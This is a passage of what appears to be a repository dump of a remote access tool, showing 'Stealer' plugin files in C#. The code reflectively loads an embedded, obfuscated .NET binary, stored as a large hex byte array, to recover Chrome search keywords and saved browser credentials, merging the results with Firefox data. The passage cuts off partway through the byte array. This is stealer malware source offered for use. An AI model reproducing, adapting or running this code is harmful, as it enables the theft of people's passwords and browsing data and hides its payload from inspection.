0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00\n};\n\t}\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Stealer/ChromiumKeywords.cs",
    "content": "﻿using System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class ChromiumKeywords\n    {\n\t\t//select keyword_search_terms.term, urls.url, urls.last_visit_time from keyword_search_terms join urls on keyword_search_terms.url_id = urls.id\n\n\t\tinternal static List<object[]> Recovery()\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tSystem.Reflection.Assembly assemblytoload = System.Reflection.Assembly.Load(ChromiumHistory.Chrome);\n\t\t\t\tSystem.Reflection.MethodInfo method = assemblytoload.GetType(\"Y7M9K2N6Q9.T8E9A5M1I7M0G6F8\").GetMethod(\"VC7B3D6T8D9\");\n\t\t\t\tobject obj = assemblytoload.CreateInstance(method.Name);\n\t\t\t\tList<object[]> chrome = (List<object[]>)method.Invoke(obj, null);\n\t\t\t\treturn chrome;\n\t\t\t}\n\t\t\tcatch { return null; }\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Stealer/ChromiumRecovery.cs",
    "content": "﻿using System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n\tinternal static class ChromiumRecovery\n    {\n\t\tinternal static List<object[]> Recovery() \n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tSystem.Reflection.Assembly assemblytoload = System.Reflection.Assembly.Load(Chrome);\n\t\t\t\tSystem.Reflection.MethodInfo method = assemblytoload.GetType(\"ZUIDHNJKSDN.T8E9A5M1I7M0G6F8\").GetMethod(\"AP7Z9V5B3W2\");\n\t\t\t\tobject obj = assemblytoload.CreateInstance(method.Name);\n\t\t\t\tList<object[]> chrome = (List<object[]>)method.Invoke(obj, null);\n\n\t\t\t\tList<object[]> fireFox = FireFoxRecovery.Recovery();\n\n\t\t\t\tif (fireFox != null) \n\t\t\t\t{\n\t\t\t\t\tforeach (object[] o in fireFox)\n\t\t\t\t\t{\n\t\t\t\t\t\tchrome.Add(o);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn chrome;\t\t\t\n\t\t\t}\n\t\t\tcatch (System.Exception)\n\t\t\t{\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\t//return ks;\n\t\t}\n\n\t\tprivate static readonly byte[] Chrome = {\n\t0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,\n\t0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x80, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD,\n\t0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70,\n\t0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F,\n\t0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20,\n\t0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A,\n\t0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00,\n\t0x4C, 0x01, 0x03, 0x00, 0x88, 0x6A, 0xD1, 0xE4, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0xE0, 0x00, 0x22, 0x20, 0x0B, 0x01, 0x30, 0x00,\n\t0x00, 0x5C, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0xD2, 0x7A, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x10, 0x00, 0x20, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,\n\t0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x40, 0x85, 0x00, 0x00, 0x10, 0x00,\n\t0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x80, 0x7A, 0x00, 0x00, 0x4F, 0x00, 0x00, 0x00,\n\t0x00, 0x80, 0x00, 0x00, 0xA8, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0xA0, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x64, 0x7A, 0x00, 0x00,\n\t0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,\n\t0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x08, 0x20, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00,\n\t0xE8, 0x5A, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x5C, 0x00, 0x00,\n\t0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x60, 0x2E, 0x72, 0x73, 0x72,\n\t0x63, 0x00, 0x00, 0x00, 0xA8, 0x03, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00,\n\t0x00, 0x04, 0x00, 0x00, 0x00, 0x5E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40,\n\t0x2E, 0x72, 0x65, 0x6C, 0x6F, 0x63, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00,\n\t0x00, 0xA0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x40, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0x7A, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x02, 0x00, 0x05, 0x00,\n\t0xF8, 0x43, 0x00, 0x00, 0x6C, 0x36, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x1B, 0x30, 0x06, 0x00, 0x96, 0x00, 0x00, 0x00,\n\t0x01, 0x00, 0x00, 0x11, 0x73, 0x10, 0x00, 0x00, 0x0A, 0x26, 0x28, 0x1C,\n\t0x00, 0x00, 0x06, 0x73, 0x11, 0x00, 0x00, 0x0A, 0x0A, 0x6F, 0x12, 0x00,\n\t0x00, 0x0A, 0x0B, 0x2B, 0x62, 0x12, 0x01, 0x28, 0x13, 0x00, 0x00, 0x0A,\n\t0x0C, 0x1A, 0x8D, 0x0F, 0x00, 0x00, 0x01, 0x25, 0x16, 0x28, 0x14, 0x00,\n\t0x00, 0x0A, 0x28, 0x15, 0x00, 0x00, 0x0A, 0x08, 0x6F, 0x07, 0x00, 0x00,\n\t0x06, 0x6F, 0x16, 0x00, 0x00, 0x0A, 0x6F, 0x17, 0x00, 0x00, 0x0A, 0xA2,\n\t0x25, 0x17, 0x28, 0x14, 0x00, 0x00, 0x0A, 0x28, 0x15, 0x00, 0x00, 0x0A,\n\t0x08, 0x6F, 0x03, 0x00, 0x00, 0x06, 0x6F, 0x16, 0x00, 0x00, 0x0A, 0x6F,\n\t0x17, 0x00, 0x00, 0x0A, 0xA2, 0x25, 0x18, 0x08, 0x6F, 0x05, 0x00, 0x00,\n\t0x06, 0xA2, 0x25, 0x19, 0x08, 0x6F, 0x09, 0x00, 0x00, 0x06, 0xA2, 0x0D,\n\t0x06, 0x09, 0x6F, 0x18, 0x00, 0x00, 0x0A, 0x12, 0x01, 0x28, 0x19, 0x00,\n\t0x00, 0x0A, 0x2D, 0x95, 0xDE, 0x0E, 0x12, 0x01, 0xFE, 0x16, 0x03, 0x00,\n\t0x00, 0x1B, 0x6F, 0x1A, 0x00, 0x00, 0x0A, 0xDC, 0x06, 0x2A, 0x00, 0x00,\n\t0x01, 0x10, 0x00, 0x00, 0x02, 0x00, 0x17, 0x00, 0x6F, 0x86, 0x00, 0x0E,\n\t0x00, 0x00, 0x00, 0x00, 0x1E, 0x02, 0x28, 0x1B, 0x00, 0x00, 0x0A, 0x2A,\n\t0x1E, 0x02, 0x7B, 0x01, 0x00, 0x00, 0x04, 0x2A, 0x22, 0x02, 0x03, 0x7D,\n\t0x01, 0x00, 0x00, 0x04, 0x2A, 0x1E, 0x02, 0x7B, 0x02, 0x00, 0x00, 0x04,\n\t0x2A, 0x22, 0x02, 0x03, 0x7D, 0x02, 0x00, 0x00, 0x04, 0x2A, 0x1E, 0x02,\n\t0x7B, 0x03, 0x00, 0x00, 0x04, 0x2A, 0x22, 0x02, 0x03, 0x7D, 0x03, 0x00,\n\t0x00, 0x04, 0x2A, 0x1E, 0x02, 0x7B, 0x04, 0x00, 0x00, 0x04, 0x2A, 0x22,\n\t0x02, 0x03, 0x7D, 0x04, 0x00, 0x00, 0x04, 0x2A, 0x1E, 0x02, 0x28, 0x1B,\n\t0x00, 0x00, 0x0A, 0x2A, 0x1B, 0x30, 0x0A, 0x00, 0xF2, 0x00, 0x00, 0x00,\n\t0x02, 0x00, 0x00, 0x11, 0x02, 0x7E, 0x0E, 0x00, 0x00, 0x04, 0x7E, 0x0F,\n\t0x00, 0x00, 0x04, 0x7E, 0x0A, 0x00, 0x00, 0x04, 0x28, 0x0E, 0x00, 0x00,\n\t0x06, 0x0A, 0x02, 0x06, 0x03, 0x12, 0x01, 0x28, 0x0F, 0x00, 0x00, 0x06,\n\t0x0C, 0x12, 0x04, 0x04, 0x05, 0x0E, 0x05, 0x28, 0x33, 0x00, 0x00, 0x06,\n\t0x11, 0x04, 0x13, 0x05, 0x02, 0x06, 0x28, 0x0D, 0x00, 0x00, 0x06, 0x8D,\n\t0x1E, 0x00, 0x00, 0x01, 0x13, 0x06, 0x16, 0x13, 0x07, 0x07, 0x0E, 0x04,\n\t0x0E, 0x04, 0x8E, 0x69, 0x12, 0x04, 0x11, 0x06, 0x11, 0x06, 0x8E, 0x69,\n\t0x14, 0x16, 0x12, 0x07, 0x16, 0x28, 0x1A, 0x00, 0x00, 0x06, 0x13, 0x08,\n\t0x11, 0x08, 0x2C, 0x17, 0x72, 0x01, 0x00, 0x00, 0x70, 0x11, 0x08, 0x8C,\n\t0x1F, 0x00, 0x00, 0x01, 0x28, 0x1C, 0x00, 0x00, 0x0A, 0x73, 0x1D, 0x00,\n\t0x00, 0x0A, 0x7A, 0x11, 0x07, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x0D, 0x07,\n\t0x0E, 0x04, 0x0E, 0x04, 0x8E, 0x69, 0x12, 0x04, 0x11, 0x06, 0x11, 0x06,\n\t0x8E, 0x69, 0x09, 0x09, 0x8E, 0x69, 0x12, 0x07, 0x16, 0x28, 0x1A, 0x00,\n\t0x00, 0x06, 0x13, 0x08, 0x11, 0x08, 0x7E, 0x12, 0x00, 0x00, 0x04, 0x33,\n\t0x0B, 0x72, 0x7F, 0x00, 0x00, 0x70, 0x73, 0x1D, 0x00, 0x00, 0x0A, 0x7A,\n\t0x11, 0x08, 0x2C, 0x17, 0x72, 0xE7, 0x00, 0x00, 0x70, 0x11, 0x08, 0x8C,\n\t0x1F, 0x00, 0x00, 0x01, 0x28, 0x1C, 0x00, 0x00, 0x0A, 0x73, 0x1D, 0x00,\n\t0x00, 0x0A, 0x7A, 0xDE, 0x0E, 0x12, 0x05, 0xFE, 0x16, 0x0B, 0x00, 0x00,\n\t0x02, 0x6F, 0x1A, 0x00, 0x00, 0x0A, 0xDC, 0x07, 0x28, 0x18, 0x00, 0x00,\n\t0x06, 0x26, 0x08, 0x28, 0x1E, 0x00, 0x00, 0x0A, 0x06, 0x16, 0x28, 0x14,\n\t0x00, 0x00, 0x06, 0x26, 0x09, 0x2A, 0x00, 0x00, 0x01, 0x10, 0x00, 0x00,\n\t0x02, 0x00, 0x30, 0x00, 0x9D, 0xCD, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x00,\n\t0x13, 0x30, 0x05, 0x00, 0x32, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x11,\n\t0x02, 0x03, 0x7E, 0x0B, 0x00, 0x00, 0x04, 0x28, 0x10, 0x00, 0x00, 0x06,\n\t0x0A, 0x1A, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x25, 0x16, 0x06, 0x1A, 0x91,\n\t0x9C, 0x25, 0x17, 0x06, 0x1B, 0x91, 0x9C, 0x25, 0x18, 0x06, 0x1C, 0x91,\n\t0x9C, 0x25, 0x19, 0x06, 0x1D, 0x91, 0x9C, 0x16, 0x28, 0x1F, 0x00, 0x00,\n\t0x0A, 0x2A, 0x00, 0x00, 0x13, 0x30, 0x05, 0x00, 0x62, 0x00, 0x00, 0x00,\n\t0x04, 0x00, 0x00, 0x11, 0x7E, 0x20, 0x00, 0x00, 0x0A, 0x0A, 0x12, 0x00,\n\t0x03, 0x04, 0x16, 0x28, 0x13, 0x00, 0x00, 0x06, 0x0B, 0x07, 0x2C, 0x16,\n\t0x72, 0x4D, 0x01, 0x00, 0x70, 0x07, 0x8C, 0x1F, 0x00, 0x00, 0x01, 0x28,\n\t0x1C, 0x00, 0x00, 0x0A, 0x73, 0x1D, 0x00, 0x00, 0x0A, 0x7A, 0x28, 0x21,\n\t0x00, 0x00, 0x0A, 0x05, 0x6F, 0x16, 0x00, 0x00, 0x0A, 0x0C, 0x06, 0x7E,\n\t0x0C, 0x00, 0x00, 0x04, 0x08, 0x08, 0x8E, 0x69, 0x16, 0x28, 0x16, 0x00,\n\t0x00, 0x06, 0x0B, 0x07, 0x2C, 0x16, 0x72, 0xD0, 0x01, 0x00, 0x70, 0x07,\n\t0x8C, 0x1F, 0x00, 0x00, 0x01, 0x28, 0x1C, 0x00, 0x00, 0x0A, 0x73, 0x1D,\n\t0x00, 0x00, 0x0A, 0x7A, 0x06, 0x2A, 0x00, 0x00, 0x13, 0x30, 0x09, 0x00,\n\t0x7B, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x11, 0x02, 0x03, 0x7E, 0x09,\n\t0x00, 0x00, 0x04, 0x28, 0x10, 0x00, 0x00, 0x06, 0x16, 0x28, 0x1F, 0x00,\n\t0x00, 0x0A, 0x0A, 0x06, 0x28, 0x22, 0x00, 0x00, 0x0A, 0x0B, 0x02, 0x1A,\n\t0x8D, 0x04, 0x00, 0x00, 0x1B, 0x25, 0x16, 0x7E, 0x08, 0x00, 0x00, 0x04,\n\t0xA2, 0x25, 0x17, 0x17, 0x28, 0x23, 0x00, 0x00, 0x0A, 0xA2, 0x25, 0x18,\n\t0x04, 0x8E, 0x69, 0x28, 0x23, 0x00, 0x00, 0x0A, 0xA2, 0x25, 0x19, 0x04,\n\t0xA2, 0x28, 0x11, 0x00, 0x00, 0x06, 0x0C, 0x03, 0x7E, 0x20, 0x00, 0x00,\n\t0x0A, 0x7E, 0x0D, 0x00, 0x00, 0x04, 0x05, 0x07, 0x06, 0x08, 0x08, 0x8E,\n\t0x69, 0x16, 0x28, 0x17, 0x00, 0x00, 0x06, 0x0D, 0x09, 0x2C, 0x16, 0x72,\n\t0xC3, 0x02, 0x00, 0x70, 0x09, 0x8C, 0x1F, 0x00, 0x00, 0x01, 0x28, 0x1C,\n\t0x00, 0x00, 0x0A, 0x73, 0x1D, 0x00, 0x00, 0x0A, 0x7A, 0x07, 0x2A, 0x00,\n\t0x13, 0x30, 0x06, 0x00, 0x59, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x11,\n\t0x16, 0x0A, 0x03, 0x04, 0x14, 0x16, 0x12, 0x00, 0x16, 0x28, 0x15, 0x00,\n\t0x00, 0x06, 0x0B, 0x07, 0x2C, 0x16, 0x72, 0x2D, 0x03, 0x00, 0x70, 0x07,\n\t0x8C, 0x1F, 0x00, 0x00, 0x01, 0x28, 0x1C, 0x00, 0x00, 0x0A, 0x73, 0x1D,\n\t0x00, 0x00, 0x0A, 0x7A, 0x06, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x0C, 0x03,\n\t0x04, 0x08, 0x08, 0x8E, 0x69, 0x12, 0x00, 0x16, 0x28, 0x15, 0x00, 0x00,\n\t0x06, 0x0B, 0x07, 0x2C, 0x16, 0x72, 0xB2, 0x03, 0x00, 0x70, 0x07, 0x8C,\n\t0x1F, 0x00, 0x00, 0x01, 0x28, 0x1C, 0x00, 0x00, 0x0A, 0x73, 0x1D, 0x00,\n\t0x00, 0x0A, 0x7A, 0x08, 0x2A, 0x00, 0x00, 0x00, 0x13, 0x30, 0x05, 0x00,\n\t0x69, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x11, 0x16, 0x0A, 0x03, 0x0D,\n\t0x16, 0x13, 0x04, 0x2B, 0x17, 0x09, 0x11, 0x04, 0x9A, 0x13, 0x05, 0x11,\n\t0x05, 0x2C, 0x07, 0x06, 0x11, 0x05, 0x8E, 0x69, 0x58, 0x0A, 0x11, 0x04,\n\t0x17, 0x58, 0x13, 0x04, 0x11, 0x04, 0x09, 0x8E, 0x69, 0x32, 0xE2, 0x06,\n\t0x17, 0x59, 0x17, 0x58, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x0B, 0x16, 0x0C,\n\t0x03, 0x0D, 0x16, 0x13, 0x04, 0x2B, 0x25, 0x09, 0x11, 0x04, 0x9A, 0x13,\n\t0x06, 0x11, 0x06, 0x2C, 0x15, 0x11, 0x06, 0x16, 0x07, 0x08, 0x11, 0x06,\n\t0x8E, 0x69, 0x28, 0x24, 0x00, 0x00, 0x0A, 0x08, 0x11, 0x06, 0x8E, 0x69,\n\t0x58, 0x0C, 0x11, 0x04, 0x17, 0x58, 0x13, 0x04, 0x11, 0x04, 0x09, 0x8E,\n\t0x69, 0x32, 0xD4, 0x07, 0x2A, 0x1E, 0x02, 0x28, 0x1B, 0x00, 0x00, 0x0A,\n\t0x2A, 0x00, 0x00, 0x00, 0x13, 0x30, 0x01, 0x00, 0x6C, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x20, 0x4B, 0x44, 0x42, 0x4D, 0x28, 0x23, 0x00,\n\t0x00, 0x0A, 0x80, 0x08, 0x00, 0x00, 0x04, 0x72, 0x20, 0x04, 0x00, 0x70,\n\t0x80, 0x09, 0x00, 0x00, 0x04, 0x72, 0x3A, 0x04, 0x00, 0x70, 0x80, 0x0A,\n\t0x00, 0x00, 0x04, 0x72, 0x5A, 0x04, 0x00, 0x70, 0x80, 0x0B, 0x00, 0x00,\n\t0x04, 0x72, 0x76, 0x04, 0x00, 0x70, 0x80, 0x0C, 0x00, 0x00, 0x04, 0x72,\n\t0x90, 0x04, 0x00, 0x70, 0x80, 0x0D, 0x00, 0x00, 0x04, 0x72, 0xA8, 0x04,\n\t0x00, 0x70, 0x80, 0x0E, 0x00, 0x00, 0x04, 0x72, 0xB0, 0x04, 0x00, 0x70,\n\t0x80, 0x0F, 0x00, 0x00, 0x04, 0x17, 0x80, 0x10, 0x00, 0x00, 0x04, 0x17,\n\t0x80, 0x11, 0x00, 0x00, 0x04, 0x20, 0x02, 0xA0, 0x00, 0xC0, 0x80, 0x12,\n\t0x00, 0x00, 0x04, 0x2A, 0x1B, 0x30, 0x05, 0x00, 0x30, 0x04, 0x00, 0x00,\n\t0x08, 0x00, 0x00, 0x11, 0x73, 0x25, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xEA,\n\t0x04, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0xF8, 0x04, 0x00,\n\t0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25,\n\t0x72, 0x2A, 0x05, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x42,\n\t0x05, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00,\n\t0x0A, 0x25, 0x72, 0x70, 0x05, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04,\n\t0x72, 0x7C, 0x05, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x27,\n\t0x00, 0x00, 0x0A, 0x25, 0x72, 0x9E, 0x05, 0x00, 0x70, 0x7E, 0x13, 0x00,\n\t0x00, 0x04, 0x72, 0xB2, 0x05, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A,\n\t0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xDC, 0x05, 0x00, 0x70, 0x7E,\n\t0x13, 0x00, 0x00, 0x04, 0x72, 0xFA, 0x05, 0x00, 0x70, 0x28, 0x26, 0x00,\n\t0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x3E, 0x06, 0x00,\n\t0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x50, 0x06, 0x00, 0x70, 0x28,\n\t0x26, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x78,\n\t0x06, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x8A, 0x06, 0x00,\n\t0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25,\n\t0x72, 0xC2, 0x06, 0x00, 0x70, 0x7E, 0x14, 0x00, 0x00, 0x04, 0x72, 0xCE,\n\t0x06, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00,\n\t0x0A, 0x25, 0x72, 0x06, 0x07, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04,\n\t0x72, 0x14, 0x07, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27,\n\t0x00, 0x00, 0x0A, 0x25, 0x72, 0x52, 0x07, 0x00, 0x70, 0x7E, 0x13, 0x00,\n\t0x00, 0x04, 0x72, 0x62, 0x07, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A,\n\t0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x86, 0x07, 0x00, 0x70, 0x7E,\n\t0x13, 0x00, 0x00, 0x04, 0x72, 0x9E, 0x07, 0x00, 0x70, 0x28, 0x26, 